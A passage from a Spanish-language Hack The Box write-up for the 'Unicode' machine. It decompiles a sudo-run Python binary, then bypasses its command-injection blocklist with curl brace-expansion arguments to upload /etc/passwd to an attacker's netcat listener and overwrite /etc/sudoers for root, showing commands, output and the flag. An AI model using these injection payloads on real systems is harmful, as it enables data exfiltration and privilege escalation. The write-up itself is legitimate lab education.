 (4391610, 134817, 319528, 1, 'b', 'libreadline.so.8'),
 (4526427, 234757, 598104, 1, 'b', 'libssl.so.1.1'),
 (4761184, 69952, 192032, 1, 'b', 'libtinfo.so.6'),
 (4831136, 55907, 108936, 1, 'b', 'libz.so.1'),
 (4887043, 204876, 777217, 1, 'x', 'base_library.zip'),
 (5091919, 1703522, 1703522, 0, 'z', 'PYZ-00.pyz')]
?
U: go Up one level
O <name>: open embedded archive name
X <name>: extract name
Q: quit
? x treport
to filename? treport.pyc
? x struct
to filename? struct.pyc
? q

Tras ello, intentamos decompilar dicho archivo pero parece estar “dañado”. Tras intentar con el archivo struct.pyc logramos obtener una porcion del codigo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 π ~/htb/unicode/binary ❯ uncompyle6 treport.pyc
Unknown magic number 227 in treport.pyc
 π ~/htb/unicode/binary ❯ uncompyle6 struct.pyc
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Jul 14 2021, 08:11:37)
# [GCC 10.2.1 20210110]
# Warning: this version of Python has problems handling the Python 3 byte type in constants properly.

# Embedded file name: struct.py
# Compiled at: 1995-09-27 16:18:56
# Size of source mod 2**32: 257 bytes
__all__ = [
 'calcsize', 'pack', 'pack_into', 'unpack', 'unpack_from',
 'iter_unpack',
 'Struct',
 'error']
from _struct import *
from _struct import _clearcache
from _struct import __doc__
# okay decompiling struct.pyc
 π ~/htb/unicode/binary ❯

Fix Pyc File

uncompyle6 no logra decompilar el archivo ya que hacen faltan los “magic numbers” y “timestamp”. Para repararlo debemos de obtener los 16 bytes iniciales de un archivo .pyc sin algun daño o que pueda ser decompilado, en este caso vemos el archivo struct.pyc. Comparando ambos archivos vemos que struct tiene los 16 bytes iniciales a diferencia de treport que no los tiene.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 π ~/htb/unicode/binary ❯ xxd struct.pyc|head
00000000: 550d 0d0a 0000 0000 7079 6930 0101 0000  U.......pyi0....
00000010: e300 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0008 0000 0040 0000 0073 3800 0000 6400  .....@...s8...d.
00000030: 6401 6402 6403 6404 6405 6406 6407 6708  d.d.d.d.d.d.d.g.
00000040: 5a00 6408 6409 6c01 5400 6408 640a 6c01  Z.d.d.l.T.d.d.l.
00000050: 6d02 5a02 0100 6408 640b 6c01 6d03 5a03  m.Z...d.d.l.m.Z.
00000060: 0100 640c 5300 290d da08 6361 6c63 7369  ..d.S.)...calcsi
00000070: 7a65 da04 7061 636b da09 7061 636b 5f69  ze..pack..pack_i
00000080: 6e74 6fda 0675 6e70 6163 6bda 0b75 6e70  nto..unpack..unp
00000090: 6163 6b5f 6672 6f6d da0b 6974 6572 5f75  ack_from..iter_u
 π ~/htb/unicode/binary ❯ xxd treport.pyc| head
00000000: e300 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0006 0000 0040 0000 0073 f600 0000 6400  .....@...s....d.
00000020: 6401 6c00 5a00 6400 6401 6c01 5a01 6400  d.l.Z.d.d.l.Z.d.
00000030: 6402 6c02 6d02 5a02 0100 6400 6401 6c03  d.l.m.Z...d.d.l.
00000040: 5a03 4700 6403 6404 8400 6404 8302 5a04  Z.G.d.d...d...Z.
00000050: 6505 6405 6b02 72f2 6504 8300 5a06 6507  e.d.k.r.e...Z.e.
00000060: 6406 8301 0100 6507 6407 8301 0100 6507  d.....e.d.....e.
00000070: 6408 8301 0100 6507 6409 8301 0100 640a  d.....e.d.....d.
00000080: 5a08 6508 72f2 6509 640b 8301 5a0a 7a0c  Z.e.r.e.d...Z.z.
00000090: 650b 650a 8301 5a0a 5700 6e1e 0100 0100  e.e...Z.W.n.....
 π ~/htb/unicode/binary ❯

Utilizamos el editor wxHexEditor (instalamos por medio de apt).

1
sudo apt install sudo apt install wxhexeditor

Abrimos el archivo treport.pyc con esta herramienta, insertamos 16 bytes en "Edit > Insert" al inicio.

image

Luego de ello agregamos los 16 bytes iniciales de struct.pyc.

1
550d 0d0a 0000 0000 7079 6930 0101 0000

image

Tras realizar esto, guardamos el archivo, y ejecutamos uncompyle6, logrando obtener el codigo fuente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
 π ~/htb/unicode/binary ❯ ls treport_fixed.pyc
treport_fixed.pyc
 π ~/htb/unicode/binary ❯ uncompyle6 treport_fixed.pyc
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Jul 14 2021, 08:11:37)
# [GCC 10.2.1 20210110]
# Warning: this version of Python has problems handling the Python 3 byte type in constants properly.

# Embedded file name: treport.py
# Compiled at: 1995-09-27 16:18:56
# Size of source mod 2**32: 257 bytes
import os, sys
from datetime import datetime
import re

class threat_report:

    def create(self):
        file_name = input('Enter the filename:')
        content = input('Enter the report:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        file_path = '/root/reports/' + file_name
        with open(file_path, 'w') as (fd):
            fd.write(content)

    def list_files(self):
        file_list = os.listdir('/root/reports/')
        files_in_dir = ' '.join([str(elem) for elem in file_list])
        print('ALL THE THREAT REPORTS:')
        print(files_in_dir)

    def read_file(self):
        file_name = input('\nEnter the filename:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        contents = ''
        file_name = '/root/reports/' + file_name
        try:
            with open(file_name, 'r') as (fd):
                contents = fd.read()
        except:
            print('SOMETHING IS WRONG')
        else:
            print(contents)

    def download(self):
        now = datetime.now()
        current_time = now.strftime('%H_%M_%S')
        command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
        ip = input('Enter the IP/file_name:')
        res = bool(re.search('\\s', ip))
        if res:
            print('INVALID IP')
            sys.exit(0)
        if 'file' in ip or 'gopher' in ip or 'mysql' in ip:
            print('INVALID URL')
            sys.exit(0)
        for vars in command_injection_list:
            if vars in ip:
                print('NOT ALLOWED')
                sys.exit(0)
            cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
            os.system(cmd)


if __name__ == '__main__':
    obj = threat_report()
    print('1.Create Threat Report.')
    print('2.Read Threat Report.')
    print('3.Download A Threat Report.')
    print('4.Quit.')
    check = True
    if check:
        choice = input('Enter your choice:')
        try:
            choice = int(choice)
        except:
            print('Wrong Input')
            sys.exit(0)
        else:
            if choice == 1:
                obj.create()
            elif choice == 2:
                obj.list_files()
                obj.read_file()
            elif choice == 3:
                obj.download()
            elif choice == 4:
                check = False
            else:
                print('Wrong input.')
# okay decompiling treport_fixed.pyc
 π ~/htb/unicode/binary ❯

Command Injection “Bypass”

En la función download() vemos que existe un “filtro” para Command Injection de diferentes caracteres que son utilzados para verificar que ninguno de estos exista en la variable que obtiene la IP y archivo para su descarga.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def download(self):
    now = datetime.now()
    current_time = now.strftime('%H_%M_%S')
    command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
    ip = input('Enter the IP/file_name:')
    res = bool(re.search('\\s', ip))
    if res:
        print('INVALID IP')
        sys.exit(0)
    if 'file' in ip or 'gopher' in ip or 'mysql' in ip:
        print('INVALID URL')
        sys.exit(0)
    for vars in command_injection_list:
        if vars in ip:
            print('NOT ALLOWED')
            sys.exit(0)
        cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
        os.system(cmd)

Siguiendo algunos posts (1, 2, 3) crafteamos un comando que podemos utilizar para obtener un archivo utilizando curl. En este caso estamos realizando “bypass” utilizando brackets ({}) y comas (,), enviamos un archivo con la opcion -T.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# curl --help 
[.. snip ..]
# -T, --upload-file <file> Transfer local FILE to destination
[.. snip ..]

# Comando
# {10.10.14.30,-T,/etc/passwd}

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{10.10.14.30,-T,/etc/passwd}
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1876    0     0  100  1876      0    662  0:00:02  0:00:02 --:--:--   661
curl: (1) Received HTTP/0.9 when not allowed

Enter your choice

De nuestro lado tenemos netcat a la escucha, que, tras enviar esta peticion, logramos obtener el archivo especificado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 π ~/htb/unicode/binary ❯ nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.30] from hackmedia.htb [10.10.11.126] 37864
PUT /passwd HTTP/1.1
Host: 10.10.14.30
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 1876
Expect: 100-continue

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[.. snip ..]
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
code:x:1000:1000:,,,:/home/code:/bin/bash

Logramos obtener la clave privada de root pero no parece funcionar. Utilizamos una forma similar de escalar privilegios que en Curling - HTB donde modificamos el archivo /etc/sudoers con permisos para el usuario code. El archivo quedaría de la siguiente forma:

1
2
root    ALL=(ALL:ALL) ALL
code    ALL=(ALL:ALL) ALL

En la maquina ejecutaríamos el siguiente commando.

1
{10.10.14.30/sudoers,-o,/etc/sudoers}

Tras realizar esto, el archivo se modificaría, logrando obtener acceso root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
code@code:~$ sudo -l -l
[sudo] password for code:
User code may run the following commands on code:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Commands:
    ALL
code@code:~$ sudo bash
root@code:/home/code# id
uid=0(root) gid=0(root) groups=0(root)
root@code:/home/code# cd
root@code:~# ls
root.txt
root@code:~# cat root.txt
ad5125c0457f32b19428adac62253ddf
root@code:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe